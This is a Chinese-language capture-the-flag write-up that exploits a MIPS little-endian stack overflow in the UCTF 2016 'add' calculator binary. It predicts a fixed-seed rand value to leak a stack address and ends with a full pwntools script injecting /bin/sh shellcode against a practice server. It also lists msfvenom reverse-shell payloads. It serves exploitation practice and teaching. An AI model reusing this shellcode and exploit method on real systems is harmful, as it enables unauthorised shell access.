MIPS PWN 实例 —— UCTF 2016 ADD

题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5

这是2016全国大学生信息安全竞赛的一个题,是MIPSEL(小端的)

qemu虚拟机可以在这里下

https://people.debian.org/~aurel32/qemu/mipsel/

启动:

1
qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -redir tcp:22::22 -redir tcp:11000::11000 -redir tcp:11001::11001 -redir tcp:11002::11002 -redir tcp:1717::1717 -nographic

环境:

apt-get update
apt-get install build-essential gdb socat

或者使用配置好的qemu虚拟机

https://mega.nz/#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA

先查看保护措施

1
2
3
root@debian-mipsel:~/ctf/uctf# checksec --file add 
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH Error: libc not found.

这个MIPS实际上是硬件上不支持NX的,所以这里开了也没有用所以可以直接执行shellcode

这个代码一开始还是比较难看的,但是misp应该不会太难

下面这个的输入没有长度限制,应该存在缓冲区溢出

生成200个字节

1
2
3
pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

因为要退出才会回到返回地址所以要退出

1
2
3
4
5
6
7
8
9
10
Starting program: /root/ctf/uctf/add 
[calc]
Type 'help' for help.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab 1
Error!
Input 2 numbers just like:
1 2
0 + 1 = 1
exit
Exiting...

之后便可以看到$ra(这个是储存返回地址的)

1
$ra       : 0x62616164 ("daab"?)

看下偏移,这个我们是112,因为是小端

1
2
3
4
 pattern offset 0x62616164
[+] Searching '0x62616164'
[+] Found at offset 112 (little-endian search) likely
[+] Found at offset 304 (big-endian search)

大小端这个通过看内存就可以判断了

1
x /8bx 0xxxxxxxx

还有一个问题就是要么我们能得到栈上的地址,要么找类似于x86是的jmp esp

但是用IDA的mipsrop插件找不到,没栈地址还是用不了

1
2
3
4
5
6
7
8
9
10
11
12
13
Python>mipsrop.find("")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00400658 | lw $ra,arg_1C($sp) | jr arg_1C($sp) |
| 0x00400758 | lw $ra,0x30+var_4($sp) | jr 0x30+var_4($sp) |
| 0x00400834 | lw $ra,0x30+var_4($sp) | jr 0x30+var_4($sp) |
| 0x00400ADC | lw $ra,0x98+var_4($sp) | jr 0x98+var_4($sp) |
| 0x00400C54 | lw $ra,0x38+var_4($sp) | jr 0x38+var_4($sp) |
| 0x00400CC4 | lw $ra,0x28+var_4($sp) | jr 0x28+var_4($sp) |
| 0x00400DDC | lw $ra,0x1C($sp) | jr arg_1C($sp) |
----------------------------------------------------------------------------------------------------------------
Found 7 matching gadgets

所以应该还有其他东西,这个我们没看到输出,根据汇编是跟$4比较相等才来printf这里

我们上去看看$4,而$4刚好是sprintf的第一个参数,即对rand返回值格式化的结果

而且srand的种子固定,那就可预测,我们编写程序

1
2
3
4
5
6
7
8
9
#include "stdio.h"
#include "stdlib.h"

int main(int argc, char const *argv[])
{
srand(0x123456);
printf("%d\n", rand());
return 0;
}

编译运行

1
2
3
# gcc -o rand ./rand.c
# ./rand
2057561479

我们看看是不是

在内存确定这个是不是我们栈上buf的基址

1
2
x /s 0x7fffeb1c
0x7fffeb1c: "2057561479"

果然,那么有了偏移,有了栈地址,就可以写代码了

shellcode的生成就用msf,有个坑就是msf这里把mipsel叫mipsle(其实我觉得le好记点,little ending嘛)

可以先看看有什么payload

1
2
3
4
5
6
7
8
9
10
➜  ~ msfvenom -l payloads | grep "mipsle"
linux/mipsle/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.
linux/mipsle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/mipsle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/mipsle/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.
linux/mipsle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/mipsle/shell_bind_tcp Listen for a connection and spawn a command shell
linux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell

我将shellcode放后面,调试可以到达shellcode,但是执行失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gef➤  x /20i 0x7f9a607c
0x7f9a607c: li a2,1638
0x7f9a6080: bltzal a2,0x7f9a6080
0x7f9a6084: slti a2,zero,-1
0x7f9a6088: addiu sp,sp,-32
0x7f9a608c: addiu a0,ra,4097
0x7f9a6090: addiu a0,a0,-4065
0x7f9a6094: sw a0,-24(sp)
0x7f9a6098: sw zero,-20(sp)
0x7f9a609c: addiu a1,sp,-24
0x7f9a60a0: li v0,4011
0x7f9a60a4: syscall 0x40404
0x7f9a60a8: 0x6e69622f
0x7f9a60ac: 0x68732f
0x7f9a60b0: 0x7f9a6070
0x7f9a60b4: 0x41414141
0x7f9a60b8: 0x41414141
0x7f9a60bc: 0x41414141
0x7f9a60c0: 0x41414141
0x7f9a60c4: 0x41414141
0x7f9a60c8: 0x41414141
gef➤ x /s 0x7f9a60a8
0x7f9a60a8: "/bin/sh"

调试过程发现shellcode的sw指令将字符串/bin/sh改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:mips:3000 ]────
0x7f9a6080 bltzal a2, 0x7f9a6080
0x7f9a6084 slti a2, zero, -1
0x7f9a6088 addiu sp, sp, -32
0x7f9a608c addiu a0, ra, 4097
0x7f9a6090 addiu a0, a0, -4065
0x7f9a6094 sw a0, -24(sp)
0x7f9a6098 sw zero, -20(sp)
0x7f9a609c addiu a1, sp, -24
0x7f9a60a0 li v0, 4011
0x7f9a60a4 syscall 0x40404
0x7f9a60a8 0x7f9a60a8
0x7f9a60ac 0x68732f
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "add", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7f9a6098 → sw zero, -20(sp)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Watchpoint 2: *0x7f9a60a8

Old value = 0x6e69622f
New value = 0x7f9a60a8
0x7f9a6098 in ?? ()

但是shellcode在偏移8的位置则没有改变这个字符串,不知为啥,最终shellcode

如果放在后面的话,shellcode是会被破坏掉的

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-12-29 23:02:48
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :

from pwn import *
context.log_level = "debug"

REMOTE = 1

if REMOTE:
# p = remote("127.0.0.1", 10000)
p = remote("pwn2.jarvisoj.com", 9889)
else:
p = process("./add")

shellcode = ""
shellcode += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
shellcode += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
shellcode += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
shellcode += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"

def leakStack():
p.recvuntil("Type 'help' for help.\n")
num = 2057561479
p.sendline(str(num))
p.recvuntil("Your input was ")
leak = int(p.recvuntil("\n")[:-1], 16)
print "input addr = " + hex(leak)
return leak

leak = leakStack()

# payload = "\x00" * 112
# payload += p32(leak + 116)
# payload += shellcode + " 2"
# p.sendline(payload)

offset = 8
payload = "A" * offset + shellcode
payload += "\x00" * (112 - len(payload))
payload += p32(leak + offset)
payload += " 1"
p.sendline(payload)

p.recvuntil("1 2\n")
p.sendline("exit")
p.recvuntil("Exiting...")
p.interactive()
打赏专区